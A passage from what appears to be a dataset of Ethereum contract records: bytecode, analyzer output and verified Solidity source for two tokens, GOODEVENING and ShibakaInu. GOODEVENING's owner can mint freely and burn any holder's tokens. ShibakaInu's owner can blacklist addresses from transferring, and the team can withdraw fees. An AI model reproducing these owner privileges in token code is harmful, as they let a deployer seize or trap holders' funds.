06020828403121561093057600080fd5b6106c58261089c565b6000806040838503121561094c57600080fd5b6109558361089c565b91506109636020840161089c565b90509250929050565b600181811c9082168061098057607f821691505b602082108114156109a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cf576109cf6109a7565b500390565b600082198211156109e7576109e76109a7565b500190565b6000816000190483118215151615610a0657610a066109a7565b50029056fea26469706673582212204deac2feb253f6a435030a474c5f17e5c5926168ecb1c14a39abc0fbbcfb0e2064736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,293 |
0x695333f9e33f12ce8b9b6d0d09245f4950644a37
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
pragma solidity 0.6.10;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: UNLICENSED
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract GOODEVENING is ERC20, Ownable {
constructor ()
public
ERC20 ("GOODEVENING", "GE", 9) {
_mint(msg.sender, 100000000000E9);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c8947d40332ed5255b5999435ab4647eadbf378906e172c9f5bdb1d3145c0a8864736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 8,294 |
0xd613bea969bc741bfe5c27b5cba3a71295eeeec1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibakaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibaka Inu";
string private constant _symbol = "ShibakaInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 60;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
}
|
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b8151811015610